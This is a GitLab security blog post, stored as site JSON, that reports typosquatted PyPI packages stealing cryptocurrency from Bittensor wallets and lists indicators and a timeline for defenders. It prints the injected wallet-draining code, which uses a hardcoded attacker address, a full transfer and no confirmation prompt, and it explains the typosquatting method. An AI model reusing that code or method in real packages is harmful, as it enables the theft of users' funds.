[{"data":1,"prerenderedAt":715},["ShallowReactive",2],{"/en-us/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/":3,"navigation-en-us":31,"banner-en-us":460,"footer-en-us":477,"Michael Henriksen":687,"next-steps-en-us":700},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":12,"config":21,"_id":24,"_type":25,"title":26,"_source":27,"_file":28,"_stem":29,"_extension":30},"/en-us/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi","blog",false,"",{"config":9,"title":10,"description":11},{"noIndex":6},"GitLab uncovers Bittensor theft campaign via PyPI","Learn how we identified a supply chain attack campaign using typosquatted PyPI packages to steal cryptocurrency from Bittensor wallets by hijacking staking operations.",{"title":10,"authors":13,"description":15,"date":16,"body":17,"category":18,"tags":19,"heroImage":20},[14],"Michael Henriksen","GitLab's Vulnerability Research team identified a supply chain attack campaign using typosquatted PyPI packages to steal cryptocurrency from Bittensor wallets by hijacking staking operations.","2025-08-06","GitLab's Vulnerability Research team has identified a sophisticated cryptocurrency theft campaign targeting the Bittensor ecosystem through typosquatted Python packages on PyPI.\n\nOur investigation began when GitLab's automated package monitoring system flagged suspicious activity related to popular Bittensor packages. We discovered multiple typosquatted variations of legitimate Bittensor packages, each designed to steal cryptocurrency from unsuspecting developers and users.\n\nThe identified malicious packages were all published within a 25-minute window on August 6, 2025:\n\n- `bitensor@9.9.4` (02:52 UTC)\n- `bittenso-cli@9.9.4` (02:59 UTC)\n- `qbittensor@9.9.4` (03:02 UTC)\n- `bitensor@9.9.5` (03:15 UTC)\n- `bittenso@9.9.5` (03:16 UTC)\n\nAll packages were designed to mimic the legitimate `bittensor` and `bittensor-cli` packages, which are core components of the Bittensor decentralized AI network.\n\n## Technical analysis: How the theft occurs\n\nOur analysis revealed a carefully crafted attack vector where the attackers modified legitimate staking functionality to steal funds. The malicious packages contain a hijacked version of the `stake_extrinsic` function in `bittensor_cli/src/commands/stake/add.py`. \n\nWhere users expect a normal staking operation, the attackers inserted malicious code at line 275 that silently diverts all funds to their wallet:\n\n```python\nresult = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n```\n\nThis malicious injection completely subverts the staking process:\n\n- **Silent execution:** Uses `prompt=False` to bypass user confirmation\n- **Complete wallet drain:** Sets `transfer_all=True` to steal all available funds, not just the staking amount\n- **Hardcoded destination:** Routes all funds to the attacker's wallet address\n- **Hidden in plain sight:** Executes during what appears to be a normal staking operation\n\nThe attack is particularly insidious as users believe they're staking tokens to earn rewards, but instead, the modified function empties their entire wallet.\n\n### Why target staking functionality?\n\nThe attackers appear to have specifically targeted staking operations for calculated reasons. In blockchain networks like Bittensor, **staking** is when users lock up their cryptocurrency tokens to support network operations, earning rewards in return, similar to earning interest on a deposit.\n\nThis makes staking an ideal attack vector:\n\n1. **High-value targets:** Users who stake typically hold substantial cryptocurrency holdings, making them lucrative victims.\n2. **Required wallet access:** Staking operations require users to unlock their wallets and provide authentication—giving the malicious code exactly what it needs to drain funds.\n3. **Expected network activity:** Since staking naturally involves blockchain transactions, the additional malicious transfer doesn't immediately raise suspicions.\n4. **Routine operations:** Experienced users stake regularly, creating familiarity that breeds complacency and reduces scrutiny.\n5. **Delayed detection:** Users might initially assume any balance changes are normal staking fees or temporary holds, delaying discovery of the theft.\n\nBy hiding malicious code within legitimate-looking staking functionality, the attackers exploited both the technical requirements and user psychology of routine blockchain operations.\n\n## Following the money\n\nGitLab's Vulnerability Research team traced the cryptocurrency flows to understand the full scope of this operation. The primary destination wallet `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` served as a central collection point before funds were distributed through a network of intermediary wallets.\n\n### The money laundering network\n\nOur analysis revealed a multi-hop laundering scheme:\n\n1. **Primary collection:** Stolen funds initially arrive at `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR`\n2. **Distribution network:** Funds are quickly moved to intermediate wallets including:\n   - `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n   - `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n   - `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n   - `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Final consolidation:** All paths eventually converge at `5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n4. **Cash-out endpoint:** Final destination appears to be `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ`\n\n## The typosquatting strategy\n\nThe attackers employed a typosquatting strategy that exploits common typing errors and package naming conventions:\n\n- **Missing characters:** `bitensor` instead of `bittensor` (missing 't')\n- **Truncation:** `bittenso` instead of `bittensor` (missing final 'r')\n- **Version mimicking:** All packages used version numbers (`9.9.4`, `9.9.5`) that closely match legitimate package versions\n\nThis approach maximizes the chance of installation through developer typos during `pip install` commands and copy-paste errors from documentation.\n\n## Looking ahead: The future of supply chain security\n\nGitLab continues to invest in proactive security research to identify and neutralize threats before they impact our community. Our automated detection system works around the clock to protect the software supply chain that powers modern development.\n\nThe swift detection and analysis of this attack demonstrate the value of proactive security measures in combating sophisticated threats. By sharing our findings, we aim to strengthen the entire ecosystem's resilience against future attacks.\n\n## Indicators of compromise\n\n| IOC | Description |\n| :---- | :---- |\n| `pkg:pypi/bittenso@9.9.5` | Malicious PyPI package |\n| `pkg:pypi/bitensor@9.9.5` | Malicious PyPI package |\n| `pkg:pypi/bitensor@9.9.4` | Malicious PyPI package |\n| `pkg:pypi/qbittensor@9.9.4` | Malicious PyPI package |\n| `pkg:pypi/bittenso-cli@9.9.4` | Malicious PyPI package |\n| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Bittensor (TAO) wallet address for receiving stolen funds |\n\n## Timeline\n\n| Date & Time | Action |\n| :---- | :---- |\n| **2025-08-06T06:33** | Initial analysis of suspicious packages reported by automated monitoring system |\n| **2025-08-06T09:42** | Reported `bittenso@9.9.5` to PyPi.org |\n| **2025-08-06T09:46** | Reported `bitensor@9.9.5` to PyPi.org |\n| **2025-08-06T09:47** | Reported `bitensor@9.9.4` to PyPi.org |\n| **2025-08-06T09:49** | Reported `qbittensor@9.9.4` to PyPi.org |\n| **2025-08-06T09:51** | Reported `bittenso-cli@9.9.4` to PyPi.org |\n| **2025-08-06T15:26** | PyPi.org removed `bittenso@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org removed `bitensor@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org removed `bitensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org removed `qbittensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org removed `bittenso-cli@9.9.4` |\n","security",[18],"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{"featured":6,"template":22,"slug":23},"BlogPost","gitlab-uncovers-bittensor-theft-campaign-via-pypi","content:en-us:blog:gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","yaml","Gitlab Uncovers Bittensor Theft Campaign Via Pypi","content","en-us/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","en-us/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi","yml",{"_path":32,"_dir":33,"_draft":6,"_partial":6,"_locale":7,"data":34,"_id":456,"_type":25,"title":457,"_source":27,"_file":458,"_stem":459,"_extension":30},"/shared/en-us/main-navigation","en-us",{"logo":35,"freeTrial":40,"sales":45,"login":50,"items":55,"search":387,"minimal":418,"duo":437,"pricingDeployment":446},{"config":36},{"href":37,"dataGaName":38,"dataGaLocation":39},"/","gitlab logo","header",{"text":41,"config":42},"Get free trial",{"href":43,"dataGaName":44,"dataGaLocation":39},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":46,"config":47},"Talk to sales",{"href":48,"dataGaName":49,"dataGaLocation":39},"/sales/","sales",{"text":51,"config":52},"Sign in",{"href":53,"dataGaName":54,"dataGaLocation":39},"https://gitlab.com/users/sign_in/","sign in",[56,100,198,203,308,368],{"text":57,"config":58,"cards":60,"footer":83},"Platform",{"dataNavLevelOne":59},"platform",[61,67,75],{"title":57,"description":62,"link":63},"The most comprehensive AI-powered DevSecOps Platform",{"text":64,"config":65},"Explore our Platform",{"href":66,"dataGaName":59,"dataGaLocation":39},"/platform/",{"title":68,"description":69,"link":70},"GitLab Duo (AI)","Build software faster with AI at every stage of development",{"text":71,"config":72},"Meet GitLab Duo",{"href":73,"dataGaName":74,"dataGaLocation":39},"/gitlab-duo/","gitlab duo ai",{"title":76,"description":77,"link":78},"Why GitLab","10 reasons why Enterprises choose GitLab",{"text":79,"config":80},"Learn more",{"href":81,"dataGaName":82,"dataGaLocation":39},"/why-gitlab/","why gitlab",{"title":84,"items":85},"Get started with",[86,91,96],{"text":87,"config":88},"Platform Engineering",{"href":89,"dataGaName":90,"dataGaLocation":39},"/solutions/platform-engineering/","platform engineering",{"text":92,"config":93},"Developer Experience",{"href":94,"dataGaName":95,"dataGaLocation":39},"/developer-experience/","Developer experience",{"text":97,"config":98},"MLOps",{"href":99,"dataGaName":97,"dataGaLocation":39},"/topics/devops/the-role-of-ai-in-devops/",{"text":101,"left":102,"config":103,"link":105,"lists":109,"footer":180},"Product",true,{"dataNavLevelOne":104},"solutions",{"text":106,"config":107},"View all Solutions",{"href":108,"dataGaName":104,"dataGaLocation":39},"/solutions/",[110,135,159],{"title":111,"description":112,"link":113,"items":118},"Automation","CI/CD and automation to accelerate deployment",{"config":114},{"icon":115,"href":116,"dataGaName":117,"dataGaLocation":39},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[119,123,127,131],{"text":120,"config":121},"CI/CD",{"href":122,"dataGaLocation":39,"dataGaName":120},"/solutions/continuous-integration/",{"text":124,"config":125},"AI-Assisted Development",{"href":73,"dataGaLocation":39,"dataGaName":126},"AI assisted development",{"text":128,"config":129},"Source Code Management",{"href":130,"dataGaLocation":39,"dataGaName":128},"/solutions/source-code-management/",{"text":132,"config":133},"Automated Software Delivery",{"href":116,"dataGaLocation":39,"dataGaName":134},"Automated software delivery",{"title":136,"description":137,"link":138,"items":143},"Security","Deliver code faster without compromising security",{"config":139},{"href":140,"dataGaName":141,"dataGaLocation":39,"icon":142},"/solutions/security-compliance/","security and compliance","ShieldCheckLight",[144,149,154],{"text":145,"config":146},"Application Security Testing",{"href":147,"dataGaName":148,"dataGaLocation":39},"/solutions/application-security-testing/","Application security testing",{"text":150,"config":151},"Software Supply Chain Security",{"href":152,"dataGaLocation":39,"dataGaName":153},"/solutions/supply-chain/","Software supply chain security",{"text":155,"config":156},"Software Compliance",{"href":157,"dataGaName":158,"dataGaLocation":39},"/solutions/software-compliance/","software compliance",{"title":160,"link":161,"items":166},"Measurement",{"config":162},{"icon":163,"href":164,"dataGaName":165,"dataGaLocation":39},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[167,171,175],{"text":168,"config":169},"Visibility & Measurement",{"href":164,"dataGaLocation":39,"dataGaName":170},"Visibility and Measurement",{"text":172,"config":173},"Value Stream Management",{"href":174,"dataGaLocation":39,"dataGaName":172},"/solutions/value-stream-management/",{"text":176,"config":177},"Analytics & Insights",{"href":178,"dataGaLocation":39,"dataGaName":179},"/solutions/analytics-and-insights/","Analytics and insights",{"title":181,"items":182},"GitLab for",[183,188,193],{"text":184,"config":185},"Enterprise",{"href":186,"dataGaLocation":39,"dataGaName":187},"/enterprise/","enterprise",{"text":189,"config":190},"Small Business",{"href":191,"dataGaLocation":39,"dataGaName":192},"/small-business/","small business",{"text":194,"config":195},"Public Sector",{"href":196,"dataGaLocation":39,"dataGaName":197},"/solutions/public-sector/","public sector",{"text":199,"config":200},"Pricing",{"href":201,"dataGaName":202,"dataGaLocation":39,"dataNavLevelOne":202},"/pricing/","pricing",{"text":204,"config":205,"link":207,"lists":211,"feature":295},"Resources",{"dataNavLevelOne":206},"resources",{"text":208,"config":209},"View all resources",{"href":210,"dataGaName":206,"dataGaLocation":39},"/resources/",[212,245,267],{"title":213,"items":214},"Getting started",[215,220,225,230,235,240],{"text":216,"config":217},"Install",{"href":218,"dataGaName":219,"dataGaLocation":39},"/install/","install",{"text":221,"config":222},"Quick start guides",{"href":223,"dataGaName":224,"dataGaLocation":39},"/get-started/","quick setup checklists",{"text":226,"config":227},"Learn",{"href":228,"dataGaLocation":39,"dataGaName":229},"https://university.gitlab.com/","learn",{"text":231,"config":232},"Product documentation",{"href":233,"dataGaName":234,"dataGaLocation":39},"https://docs.gitlab.com/","product documentation",{"text":236,"config":237},"Best practice videos",{"href":238,"dataGaName":239,"dataGaLocation":39},"/getting-started-videos/","best practice videos",{"text":241,"config":242},"Integrations",{"href":243,"dataGaName":244,"dataGaLocation":39},"/integrations/","integrations",{"title":246,"items":247},"Discover",[248,253,257,262],{"text":249,"config":250},"Customer success stories",{"href":251,"dataGaName":252,"dataGaLocation":39},"/customers/","customer success stories",{"text":254,"config":255},"Blog",{"href":256,"dataGaName":5,"dataGaLocation":39},"/blog/",{"text":258,"config":259},"Remote",{"href":260,"dataGaName":261,"dataGaLocation":39},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":263,"config":264},"TeamOps",{"href":265,"dataGaName":266,"dataGaLocation":39},"/teamops/","teamops",{"title":268,"items":269},"Connect",[270,275,280,285,290],{"text":271,"config":272},"GitLab Services",{"href":273,"dataGaName":274,"dataGaLocation":39},"/services/","services",{"text":276,"config":277},"Community",{"href":278,"dataGaName":279,"dataGaLocation":39},"/community/","community",{"text":281,"config":282},"Forum",{"href":283,"dataGaName":284,"dataGaLocation":39},"https://forum.gitlab.com/","forum",{"text":286,"config":287},"Events",{"href":288,"dataGaName":289,"dataGaLocation":39},"/events/","events",{"text":291,"config":292},"Partners",{"href":293,"dataGaName":294,"dataGaLocation":39},"/partners/","partners",{"backgroundColor":296,"textColor":297,"text":298,"image":299,"link":303},"#2f2a6b","#fff","Insights for the future of software development",{"altText":300,"config":301},"the source promo card",{"src":302},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":304,"config":305},"Read the latest",{"href":306,"dataGaName":307,"dataGaLocation":39},"/the-source/","the source",{"text":309,"config":310,"lists":312},"Company",{"dataNavLevelOne":311},"company",[313],{"items":314},[315,320,326,328,333,338,343,348,353,358,363],{"text":316,"config":317},"About",{"href":318,"dataGaName":319,"dataGaLocation":39},"/company/","about",{"text":321,"config":322,"footerGa":325},"Jobs",{"href":323,"dataGaName":324,"dataGaLocation":39},"/jobs/","jobs",{"dataGaName":324},{"text":286,"config":327},{"href":288,"dataGaName":289,"dataGaLocation":39},{"text":329,"config":330},"Leadership",{"href":331,"dataGaName":332,"dataGaLocation":39},"/company/team/e-group/","leadership",{"text":334,"config":335},"Team",{"href":336,"dataGaName":337,"dataGaLocation":39},"/company/team/","team",{"text":339,"config":340},"Handbook",{"href":341,"dataGaName":342,"dataGaLocation":39},"https://handbook.gitlab.com/","handbook",{"text":344,"config":345},"Investor relations",{"href":346,"dataGaName":347,"dataGaLocation":39},"https://ir.gitlab.com/","investor relations",{"text":349,"config":350},"Trust Center",{"href":351,"dataGaName":352,"dataGaLocation":39},"/security/","trust center",{"text":354,"config":355},"AI Transparency Center",{"href":356,"dataGaName":357,"dataGaLocation":39},"/ai-transparency-center/","ai transparency center",{"text":359,"config":360},"Newsletter",{"href":361,"dataGaName":362,"dataGaLocation":39},"/company/contact/","newsletter",{"text":364,"config":365},"Press",{"href":366,"dataGaName":367,"dataGaLocation":39},"/press/","press",{"text":369,"config":370,"lists":371},"Contact us",{"dataNavLevelOne":311},[372],{"items":373},[374,377,382],{"text":46,"config":375},{"href":48,"dataGaName":376,"dataGaLocation":39},"talk to sales",{"text":378,"config":379},"Get help",{"href":380,"dataGaName":381,"dataGaLocation":39},"/support/","get help",{"text":383,"config":384},"Customer portal",{"href":385,"dataGaName":386,"dataGaLocation":39},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":388,"login":389,"suggestions":396},"Close",{"text":390,"link":391},"To search repositories and projects, login to",{"text":392,"config":393},"gitlab.com",{"href":53,"dataGaName":394,"dataGaLocation":395},"search login","search",{"text":397,"default":398},"Suggestions",[399,401,405,407,411,415],{"text":68,"config":400},{"href":73,"dataGaName":68,"dataGaLocation":395},{"text":402,"config":403},"Code Suggestions (AI)",{"href":404,"dataGaName":402,"dataGaLocation":395},"/solutions/code-suggestions/",{"text":120,"config":406},{"href":122,"dataGaName":120,"dataGaLocation":395},{"text":408,"config":409},"GitLab on AWS",{"href":410,"dataGaName":408,"dataGaLocation":395},"/partners/technology-partners/aws/",{"text":412,"config":413},"GitLab on Google Cloud",{"href":414,"dataGaName":412,"dataGaLocation":395},"/partners/technology-partners/google-cloud-platform/",{"text":416,"config":417},"Why GitLab?",{"href":81,"dataGaName":416,"dataGaLocation":395},{"freeTrial":419,"mobileIcon":424,"desktopIcon":429,"secondaryButton":432},{"text":420,"config":421},"Start free trial",{"href":422,"dataGaName":44,"dataGaLocation":423},"https://gitlab.com/-/trials/new/","nav",{"altText":425,"config":426},"Gitlab Icon",{"src":427,"dataGaName":428,"dataGaLocation":423},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":425,"config":430},{"src":431,"dataGaName":428,"dataGaLocation":423},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":433,"config":434},"Get Started",{"href":435,"dataGaName":436,"dataGaLocation":423},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":438,"mobileIcon":442,"desktopIcon":444},{"text":439,"config":440},"Learn more about GitLab Duo",{"href":73,"dataGaName":441,"dataGaLocation":423},"gitlab duo",{"altText":425,"config":443},{"src":427,"dataGaName":428,"dataGaLocation":423},{"altText":425,"config":445},{"src":431,"dataGaName":428,"dataGaLocation":423},{"freeTrial":447,"mobileIcon":452,"desktopIcon":454},{"text":448,"config":449},"Back to pricing",{"href":201,"dataGaName":450,"dataGaLocation":423,"icon":451},"back to pricing","GoBack",{"altText":425,"config":453},{"src":427,"dataGaName":428,"dataGaLocation":423},{"altText":425,"config":455},{"src":431,"dataGaName":428,"dataGaLocation":423},"content:shared:en-us:main-navigation.yml","Main Navigation","shared/en-us/main-navigation.yml","shared/en-us/main-navigation",{"_path":461,"_dir":33,"_draft":6,"_partial":6,"_locale":7,"title":462,"button":463,"image":468,"config":472,"_id":474,"_type":25,"_source":27,"_file":475,"_stem":476,"_extension":30},"/shared/en-us/banner","is now in public beta!",{"text":464,"config":465},"Try the Beta",{"href":466,"dataGaName":467,"dataGaLocation":39},"/gitlab-duo/agent-platform/","duo banner",{"altText":469,"config":470},"GitLab Duo Agent Platform",{"src":471},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1753720689/somrf9zaunk0xlt7ne4x.svg",{"layout":473},"release","content:shared:en-us:banner.yml","shared/en-us/banner.yml","shared/en-us/banner",{"_path":478,"_dir":33,"_draft":6,"_partial":6,"_locale":7,"data":479,"_id":683,"_type":25,"title":684,"_source":27,"_file":685,"_stem":686,"_extension":30},"/shared/en-us/main-footer",{"text":480,"source":481,"edit":487,"contribute":492,"config":497,"items":502,"minimal":675},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":482,"config":483},"View page source",{"href":484,"dataGaName":485,"dataGaLocation":486},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":488,"config":489},"Edit this page",{"href":490,"dataGaName":491,"dataGaLocation":486},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":493,"config":494},"Please contribute",{"href":495,"dataGaName":496,"dataGaLocation":486},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":498,"facebook":499,"youtube":500,"linkedin":501},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[503,526,582,611,645],{"title":57,"links":504,"subMenu":509},[505],{"text":506,"config":507},"DevSecOps platform",{"href":66,"dataGaName":508,"dataGaLocation":486},"devsecops platform",[510],{"title":199,"links":511},[512,516,521],{"text":513,"config":514},"View plans",{"href":201,"dataGaName":515,"dataGaLocation":486},"view plans",{"text":517,"config":518},"Why Premium?",{"href":519,"dataGaName":520,"dataGaLocation":486},"/pricing/premium/","why premium",{"text":522,"config":523},"Why Ultimate?",{"href":524,"dataGaName":525,"dataGaLocation":486},"/pricing/ultimate/","why ultimate",{"title":527,"links":528},"Solutions",[529,534,536,538,543,548,552,555,559,564,566,569,572,577],{"text":530,"config":531},"Digital transformation",{"href":532,"dataGaName":533,"dataGaLocation":486},"/topics/digital-transformation/","digital transformation",{"text":145,"config":535},{"href":147,"dataGaName":145,"dataGaLocation":486},{"text":134,"config":537},{"href":116,"dataGaName":117,"dataGaLocation":486},{"text":539,"config":540},"Agile development",{"href":541,"dataGaName":542,"dataGaLocation":486},"/solutions/agile-delivery/","agile delivery",{"text":544,"config":545},"Cloud transformation",{"href":546,"dataGaName":547,"dataGaLocation":486},"/topics/cloud-native/","cloud transformation",{"text":549,"config":550},"SCM",{"href":130,"dataGaName":551,"dataGaLocation":486},"source code management",{"text":120,"config":553},{"href":122,"dataGaName":554,"dataGaLocation":486},"continuous integration & delivery",{"text":556,"config":557},"Value stream management",{"href":174,"dataGaName":558,"dataGaLocation":486},"value stream management",{"text":560,"config":561},"GitOps",{"href":562,"dataGaName":563,"dataGaLocation":486},"/solutions/gitops/","gitops",{"text":184,"config":565},{"href":186,"dataGaName":187,"dataGaLocation":486},{"text":567,"config":568},"Small business",{"href":191,"dataGaName":192,"dataGaLocation":486},{"text":570,"config":571},"Public sector",{"href":196,"dataGaName":197,"dataGaLocation":486},{"text":573,"config":574},"Education",{"href":575,"dataGaName":576,"dataGaLocation":486},"/solutions/education/","education",{"text":578,"config":579},"Financial services",{"href":580,"dataGaName":581,"dataGaLocation":486},"/solutions/finance/","financial services",{"title":204,"links":583},[584,586,588,590,593,595,597,599,601,603,605,607,609],{"text":216,"config":585},{"href":218,"dataGaName":219,"dataGaLocation":486},{"text":221,"config":587},{"href":223,"dataGaName":224,"dataGaLocation":486},{"text":226,"config":589},{"href":228,"dataGaName":229,"dataGaLocation":486},{"text":231,"config":591},{"href":233,"dataGaName":592,"dataGaLocation":486},"docs",{"text":254,"config":594},{"href":256,"dataGaName":5,"dataGaLocation":486},{"text":249,"config":596},{"href":251,"dataGaName":252,"dataGaLocation":486},{"text":258,"config":598},{"href":260,"dataGaName":261,"dataGaLocation":486},{"text":271,"config":600},{"href":273,"dataGaName":274,"dataGaLocation":486},{"text":263,"config":602},{"href":265,"dataGaName":266,"dataGaLocation":486},{"text":276,"config":604},{"href":278,"dataGaName":279,"dataGaLocation":486},{"text":281,"config":606},{"href":283,"dataGaName":284,"dataGaLocation":486},{"text":286,"config":608},{"href":288,"dataGaName":289,"dataGaLocation":486},{"text":291,"config":610},{"href":293,"dataGaName":294,"dataGaLocation":486},{"title":309,"links":612},[613,615,617,619,621,623,625,629,634,636,638,640],{"text":316,"config":614},{"href":318,"dataGaName":311,"dataGaLocation":486},{"text":321,"config":616},{"href":323,"dataGaName":324,"dataGaLocation":486},{"text":329,"config":618},{"href":331,"dataGaName":332,"dataGaLocation":486},{"text":334,"config":620},{"href":336,"dataGaName":337,"dataGaLocation":486},{"text":339,"config":622},{"href":341,"dataGaName":342,"dataGaLocation":486},{"text":344,"config":624},{"href":346,"dataGaName":347,"dataGaLocation":486},{"text":626,"config":627},"Sustainability",{"href":628,"dataGaName":626,"dataGaLocation":486},"/sustainability/",{"text":630,"config":631},"Diversity, inclusion and belonging (DIB)",{"href":632,"dataGaName":633,"dataGaLocation":486},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":349,"config":635},{"href":351,"dataGaName":352,"dataGaLocation":486},{"text":359,"config":637},{"href":361,"dataGaName":362,"dataGaLocation":486},{"text":364,"config":639},{"href":366,"dataGaName":367,"dataGaLocation":486},{"text":641,"config":642},"Modern Slavery Transparency Statement",{"href":643,"dataGaName":644,"dataGaLocation":486},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":646,"links":647},"Contact Us",[648,651,653,655,660,665,670],{"text":649,"config":650},"Contact an expert",{"href":48,"dataGaName":49,"dataGaLocation":486},{"text":378,"config":652},{"href":380,"dataGaName":381,"dataGaLocation":486},{"text":383,"config":654},{"href":385,"dataGaName":386,"dataGaLocation":486},{"text":656,"config":657},"Status",{"href":658,"dataGaName":659,"dataGaLocation":486},"https://status.gitlab.com/","status",{"text":661,"config":662},"Terms of use",{"href":663,"dataGaName":664,"dataGaLocation":486},"/terms/","terms of use",{"text":666,"config":667},"Privacy statement",{"href":668,"dataGaName":669,"dataGaLocation":486},"/privacy/","privacy statement",{"text":671,"config":672},"Cookie preferences",{"dataGaName":673,"dataGaLocation":486,"id":674,"isOneTrustButton":102},"cookie preferences","ot-sdk-btn",{"items":676},[677,679,681],{"text":661,"config":678},{"href":663,"dataGaName":664,"dataGaLocation":486},{"text":666,"config":680},{"href":668,"dataGaName":669,"dataGaLocation":486},{"text":671,"config":682},{"dataGaName":673,"dataGaLocation":486,"id":674,"isOneTrustButton":102},"content:shared:en-us:main-footer.yml","Main Footer","shared/en-us/main-footer.yml","shared/en-us/main-footer",[688],{"_path":689,"_dir":690,"_draft":6,"_partial":6,"_locale":7,"content":691,"config":695,"_id":697,"_type":25,"title":14,"_source":27,"_file":698,"_stem":699,"_extension":30},"/en-us/blog/authors/michael-henriksen","authors",{"name":14,"config":692},{"headshot":693,"ctfId":694},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX",{"template":696},"BlogAuthor","content:en-us:blog:authors:michael-henriksen.yml","en-us/blog/authors/michael-henriksen.yml","en-us/blog/authors/michael-henriksen",{"_path":701,"_dir":33,"_draft":6,"_partial":6,"_locale":7,"header":702,"eyebrow":703,"blurb":704,"button":705,"secondaryButton":709,"_id":711,"_type":25,"title":712,"_source":27,"_file":713,"_stem":714,"_extension":30},"/shared/en-us/next-steps","Start shipping better software faster","50%+ of the Fortune 100 trust GitLab","See what your team can do with the intelligent\n\n\nDevSecOps platform.\n",{"text":41,"config":706},{"href":707,"dataGaName":44,"dataGaLocation":708},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":46,"config":710},{"href":48,"dataGaName":49,"dataGaLocation":708},"content:shared:en-us:next-steps.yml","Next Steps","shared/en-us/next-steps.yml","shared/en-us/next-steps",1758662343540]